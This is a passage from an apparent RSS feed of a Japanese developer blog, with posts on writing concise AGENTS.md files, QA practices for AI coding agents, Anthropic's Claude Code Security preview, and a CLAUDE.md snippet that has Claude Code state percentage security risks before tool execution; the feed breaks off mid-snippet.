&lt;li&gt;&lt;strong&gt;否定形ではなく肯定形で指示&lt;/strong&gt; — 「〜するな」ではなく「〜せよ」&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;決定論的チェックと組み合わせる&lt;/strong&gt; — linter やテストで検証可能なルールを設定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;想定ではなく実際の失敗から反復&lt;/strong&gt; — 問題が起きてから追記する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重要情報を最初に配置&lt;/strong&gt; — トークン処理の優先順位を考慮&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;30行以下を目指す&lt;/strong&gt; — プロチームは60行以下、推奨は300行以下&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="実践的な-agentsmd-の書き方"&gt;実践的な AGENTS.md の書き方&lt;/h2&gt;
&lt;h3 id="悪い例よくある過剰な記述"&gt;悪い例（よくある過剰な記述）&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# プロジェクト概要
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;このプロジェクトは React + TypeScript で構築された...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# ディレクトリ構造
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;src/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├── components/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├── hooks/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├── utils/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└── pages/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# コーディング規約
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 変数名はキャメルケースを使用する
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; コンポーネントはアロー関数で定義する
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; インポートは以下の順序で記述する...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;（以下100行続く）
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="良い例非自明な指定のみ"&gt;良い例（非自明な指定のみ）&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# ツール
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; パッケージマネージャ: bun（npm/yarn ではなく）
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; テストランナー: vitest
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; フォーマッタ: biome（prettier ではなく）
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# プロジェクト固有のルール
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; API クライアントは src/lib/api.ts の共通関数を使う
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 環境変数は .env.local から読み込む（.env は使わない）
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="最良の-agentsmd-は不要なものである"&gt;最良の AGENTS.md は不要なものである&lt;/h2&gt;
&lt;p&gt;研究が示す最も重要な結論は、&lt;strong&gt;AGENTS.md の改善に時間を費やすより、コードベース自体を改善すべき&lt;/strong&gt;ということだ：&lt;/p&gt;</description></item><item><title>AI Agent に品質を担保させる — QA 手法の実践ガイド</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai-agent-%E3%81%AB%E5%93%81%E8%B3%AA%E3%82%92%E6%8B%85%E4%BF%9D%E3%81%95%E3%81%9B%E3%82%8B-qa-%E6%89%8B%E6%B3%95%E3%81%AE%E5%AE%9F%E8%B7%B5%E3%82%AC%E3%82%A4%E3%83%89/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai-agent-%E3%81%AB%E5%93%81%E8%B3%AA%E3%82%92%E6%8B%85%E4%BF%9D%E3%81%95%E3%81%9B%E3%82%8B-qa-%E6%89%8B%E6%B3%95%E3%81%AE%E5%AE%9F%E8%B7%B5%E3%82%AC%E3%82%A4%E3%83%89/</guid><description>&lt;p&gt;Claude Code や Cursor、Devin といった AI コーディングエージェントの導入が進むなか、「品質をどう担保するか」が最大の課題になっている。栗田氏（&lt;a href="https://x.com/hikarine3"&gt;@hikarine3&lt;/a&gt;）が公開した&lt;a href="https://vpshikaku.com/ai/ai-agent-qa/"&gt;実践ガイド&lt;/a&gt;から、要点を紹介する。&lt;/p&gt;
&lt;p&gt;Sonar の調査によれば、開発者の 96% が AI 生成コードを完全には信頼していないにもかかわらず、実際に検証しているのは 48% に過ぎない。この「検証ギャップ」が AI 開発における最大のリスクだ。&lt;/p&gt;
&lt;h2 id="1-設定ファイルにルールを書く"&gt;1. 設定ファイルにルールを書く&lt;/h2&gt;
&lt;p&gt;CLAUDE.md や .cursorrules 等の設定ファイルに、最低限 3 つのルールを書くだけで事故を大幅に減らせる。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ルール&lt;/th&gt;
&lt;th&gt;防げる事故&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;テスト結果を「○件中○件が正常」形式で報告&lt;/td&gt;
&lt;td&gt;0 件検出の見落とし&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;影響範囲を確認&lt;/td&gt;
&lt;td&gt;1 ファイル修正で他が壊れる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ファイル削除・本番デプロイ・DB 操作は承認必須&lt;/td&gt;
&lt;td&gt;取り返しのつかないミス&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;設定ファイルは &lt;strong&gt;50 行以内&lt;/strong&gt; を推奨。IFScale の研究では、指示が長すぎると AI が先頭と末尾だけに従う傾向がある。詳細は別ファイルへの参照（ポインタ設計）で対応する。&lt;/p&gt;
&lt;h2 id="2-リスクレベルで使い分ける"&gt;2. リスクレベルで使い分ける&lt;/h2&gt;
&lt;p&gt;すべてのプロジェクトに同じ品質基準を適用する必要はない。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;レベル&lt;/th&gt;
&lt;th&gt;対象&lt;/th&gt;
&lt;th&gt;テスト深度&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ラフ&lt;/td&gt;
&lt;td&gt;静的サイト、ブログ&lt;/td&gt;
&lt;td&gt;目視確認&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;標準&lt;/td&gt;
&lt;td&gt;Web アプリ（ユーザーデータあり）&lt;/td&gt;
&lt;td&gt;回帰テスト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;厳密&lt;/td&gt;
&lt;td&gt;金融・決済・認証・個人情報&lt;/td&gt;
&lt;td&gt;境界値・異常系テスト&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="3-ai-にテスト設計もさせる"&gt;3. AI にテスト設計もさせる&lt;/h2&gt;
&lt;p&gt;従来のように 12 項目のチェックリストを人間が作るのではなく、「この変更の回帰テストをして。検出件数も報告して」と指示するだけで、AI がテストケースの設計・実行・報告まで行える。&lt;/p&gt;
&lt;h2 id="4-ai-のテストが嘘になる-10-パターン"&gt;4. AI のテストが「嘘」になる 10 パターン&lt;/h2&gt;
&lt;p&gt;AI エージェントが出す「全件正常です」を鵜呑みにしてはいけない。代表的な落とし穴:&lt;/p&gt;</description></item><item><title>AI Agent に品質を担保させる — QA 手法の実践ガイド</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai-agent-%E3%81%AB%E5%93%81%E8%B3%AA%E3%82%92%E6%8B%85%E4%BF%9D%E3%81%95%E3%81%9B%E3%82%8B-qa-%E6%89%8B%E6%B3%95%E3%81%AE%E5%AE%9F%E8%B7%B5%E3%82%AC%E3%82%A4%E3%83%89/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai-agent-%E3%81%AB%E5%93%81%E8%B3%AA%E3%82%92%E6%8B%85%E4%BF%9D%E3%81%95%E3%81%9B%E3%82%8B-qa-%E6%89%8B%E6%B3%95%E3%81%AE%E5%AE%9F%E8%B7%B5%E3%82%AC%E3%82%A4%E3%83%89/</guid><description>&lt;p&gt;Claude Code や Cursor、Devin といった AI コーディングエージェントの導入が進むなか、「品質をどう担保するか」が最大の課題になっている。栗田氏（&lt;a href="https://x.com/hikarine3"&gt;@hikarine3&lt;/a&gt;）が公開した&lt;a href="https://vpshikaku.com/ai/ai-agent-qa/"&gt;実践ガイド&lt;/a&gt;から、要点を紹介する。&lt;/p&gt;
&lt;p&gt;Sonar の調査によれば、開発者の 96% が AI 生成コードを完全には信頼していないにもかかわらず、実際に検証しているのは 48% に過ぎない。この「検証ギャップ」が AI 開発における最大のリスクだ。&lt;/p&gt;
&lt;h2 id="1-設定ファイルにルールを書く"&gt;1. 設定ファイルにルールを書く&lt;/h2&gt;
&lt;p&gt;CLAUDE.md や .cursorrules 等の設定ファイルに、最低限 3 つのルールを書くだけで事故を大幅に減らせる。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ルール&lt;/th&gt;
&lt;th&gt;防げる事故&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;テスト結果を「○件中○件が正常」形式で報告&lt;/td&gt;
&lt;td&gt;0 件検出の見落とし&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;影響範囲を確認&lt;/td&gt;
&lt;td&gt;1 ファイル修正で他が壊れる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ファイル削除・本番デプロイ・DB 操作は承認必須&lt;/td&gt;
&lt;td&gt;取り返しのつかないミス&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;設定ファイルは &lt;strong&gt;50 行以内&lt;/strong&gt; を推奨。IFScale の研究では、指示が長すぎると AI が先頭と末尾だけに従う傾向がある。詳細は別ファイルへの参照（ポインタ設計）で対応する。&lt;/p&gt;
&lt;h2 id="2-リスクレベルで使い分ける"&gt;2. リスクレベルで使い分ける&lt;/h2&gt;
&lt;p&gt;すべてのプロジェクトに同じ品質基準を適用する必要はない。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;レベル&lt;/th&gt;
&lt;th&gt;対象&lt;/th&gt;
&lt;th&gt;テスト深度&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ラフ&lt;/td&gt;
&lt;td&gt;静的サイト、ブログ&lt;/td&gt;
&lt;td&gt;目視確認&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;標準&lt;/td&gt;
&lt;td&gt;Web アプリ（ユーザーデータあり）&lt;/td&gt;
&lt;td&gt;回帰テスト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;厳密&lt;/td&gt;
&lt;td&gt;金融・決済・認証・個人情報&lt;/td&gt;
&lt;td&gt;境界値・異常系テスト&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="3-ai-にテスト設計もさせる"&gt;3. AI にテスト設計もさせる&lt;/h2&gt;
&lt;p&gt;従来のように 12 項目のチェックリストを人間が作るのではなく、「この変更の回帰テストをして。検出件数も報告して」と指示するだけで、AI がテストケースの設計・実行・報告まで行える。&lt;/p&gt;
&lt;h2 id="4-ai-のテストが嘘になる-10-パターン"&gt;4. AI のテストが「嘘」になる 10 パターン&lt;/h2&gt;
&lt;p&gt;AI エージェントが出す「全件正常です」を鵜呑みにしてはいけない。代表的な落とし穴:&lt;/p&gt;</description></item><item><title>Claude Code Security — AI がコードベースの脆弱性を発見・修正提案する新機能</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-security-ai-%E3%81%8C%E3%82%B3%E3%83%BC%E3%83%89%E3%83%99%E3%83%BC%E3%82%B9%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7%E3%82%92%E7%99%BA%E8%A6%8B%E4%BF%AE%E6%AD%A3%E6%8F%90%E6%A1%88%E3%81%99%E3%82%8B%E6%96%B0%E6%A9%9F%E8%83%BD/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-security-ai-%E3%81%8C%E3%82%B3%E3%83%BC%E3%83%89%E3%83%99%E3%83%BC%E3%82%B9%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7%E3%82%92%E7%99%BA%E8%A6%8B%E4%BF%AE%E6%AD%A3%E6%8F%90%E6%A1%88%E3%81%99%E3%82%8B%E6%96%B0%E6%A9%9F%E8%83%BD/</guid><description>&lt;p&gt;Anthropic が &lt;strong&gt;Claude Code Security&lt;/strong&gt; を限定リサーチプレビューとして公開しました。AI がコードベース全体をスキャンして脆弱性を検出し、修正パッチまで提案してくれる機能です。&lt;/p&gt;
&lt;h2 id="claude-code-security-とは"&gt;Claude Code Security とは&lt;/h2&gt;
&lt;p&gt;従来の静的分析ツール（SAST）はルールベースでパターンマッチングを行うため、ビジネスロジックの欠陥やアクセス制御の不備など、文脈依存の脆弱性を見落としがちでした。&lt;/p&gt;
&lt;p&gt;Claude Code Security は、人間のセキュリティ研究者のようにコードを「理解」するアプローチを採用しています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;コンポーネント間の相互作用を把握する&lt;/li&gt;
&lt;li&gt;アプリケーション全体のデータフローを追跡する&lt;/li&gt;
&lt;li&gt;ルールベースツールでは検出困難な脆弱性を発見する&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="主な特徴"&gt;主な特徴&lt;/h2&gt;
&lt;h3 id="多段階検証プロセス"&gt;多段階検証プロセス&lt;/h3&gt;
&lt;p&gt;検出した脆弱性は多段階の検証プロセスにかけられ、誤検知（false positive）がフィルタリングされます。各脆弱性には&lt;strong&gt;重大度評価&lt;/strong&gt;と&lt;strong&gt;信頼度スコア&lt;/strong&gt;が付与されます。&lt;/p&gt;
&lt;h3 id="ヒューマンインザループ"&gt;ヒューマン・イン・ザ・ループ&lt;/h3&gt;
&lt;p&gt;修正パッチは自動適用されません。Claude Code Security は問題の特定と解決策の提案を行い、最終的な判断は開発者が行います。&lt;/p&gt;
&lt;h3 id="実績"&gt;実績&lt;/h3&gt;
&lt;p&gt;Anthropic のレッドチーム活動では、Claude Opus 4.6 を使用して本番環境のオープンソースプロジェクトから &lt;strong&gt;500 以上の脆弱性&lt;/strong&gt; を発見しました。これらは数十年にわたり専門家のレビューを経ても検出されなかったバグです。&lt;/p&gt;
&lt;h2 id="利用方法"&gt;利用方法&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;プラン&lt;/th&gt;
&lt;th&gt;利用可否&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Enterprise&lt;/td&gt;
&lt;td&gt;即時利用可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Team&lt;/td&gt;
&lt;td&gt;即時利用可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;オープンソースメンテナー&lt;/td&gt;
&lt;td&gt;無料で迅速なアクセスを提供（申請制）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;詳細は &lt;a href="https://www.anthropic.com/news/claude-code-security"&gt;Anthropic 公式の Claude Code Security ページ&lt;/a&gt; を参照してください。&lt;/p&gt;
&lt;h2 id="従来のツールとの違い"&gt;従来のツールとの違い&lt;/h2&gt;
&lt;p&gt;従来の SAST ツールは既知のパターンを検索する仕組みのため、新しいタイプの脆弱性や複雑なロジックの欠陥には対応しきれませんでした。Claude Code Security は LLM の推論能力を活用して、コードの意味を理解した上で脆弱性を検出するという点で、セキュリティスキャンの新しいアプローチといえます。&lt;/p&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;p&gt;Claude Code Security は「脆弱性は多いが対応する人員が少ない」というセキュリティチームの課題に対し、AI による自動検出と修正提案で支援するツールです。現時点では限定リサーチプレビューですが、今後のセキュリティ開発ワークフローに大きな影響を与える可能性があります。&lt;/p&gt;</description></item><item><title>Claude Code でツール実行前にセキュリティリスクをパーセンテージ表示させる CLAUDE.md 設定</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%A7%E3%83%84%E3%83%BC%E3%83%AB%E5%AE%9F%E8%A1%8C%E5%89%8D%E3%81%AB%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%83%AA%E3%82%B9%E3%82%AF%E3%82%92%E3%83%91%E3%83%BC%E3%82%BB%E3%83%B3%E3%83%86%E3%83%BC%E3%82%B8%E8%A1%A8%E7%A4%BA%E3%81%95%E3%81%9B%E3%82%8B-claude.md-%E8%A8%AD%E5%AE%9A/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%A7%E3%83%84%E3%83%BC%E3%83%AB%E5%AE%9F%E8%A1%8C%E5%89%8D%E3%81%AB%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%83%AA%E3%82%B9%E3%82%AF%E3%82%92%E3%83%91%E3%83%BC%E3%82%BB%E3%83%B3%E3%83%86%E3%83%BC%E3%82%B8%E8%A1%A8%E7%A4%BA%E3%81%95%E3%81%9B%E3%82%8B-claude.md-%E8%A8%AD%E5%AE%9A/</guid><description>&lt;p&gt;Claude Code でツール実行の許可を求められるたびに、セキュリティリスクをパーセンテージで表示させる CLAUDE.md の設定が話題になっています。「なんかやばそうだけど…まあいいか」で Yes を連打してしまう問題への対策です。&lt;/p&gt;
&lt;h2 id="背景"&gt;背景&lt;/h2&gt;
&lt;p&gt;Claude Code はファイル操作やシェルコマンドの実行時にユーザーの許可を求めますが、表示される内容だけでは何がどの程度危険なのか判断しにくいことがあります。特に初心者は、よく分からないまま Yes を連打してしまいがちです。&lt;/p&gt;
&lt;h2 id="claudemd-に追加する設定"&gt;CLAUDE.md に追加する設定&lt;/h2&gt;
&lt;p&gt;プロジェクトのルートディレクトリにある &lt;code&gt;CLAUDE.md&lt;/code&gt; に以下の内容を追加します:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;## ツール実行時の許可ルール
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; ツール実行（Bash、ファイル操作など）の許可を求めるときは、必ず日本語で説明・確認を行うこと
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 許可を求める際、以下のセキュリティリスクをパーセンテージ(%)で提示すること
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; パスワードや秘密鍵が外に漏れる可能性
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 外部サーバーにデータが送られる可能性
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 悪意あるコードが勝手に動く可能性
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; PCの設定が書き換わる可能性
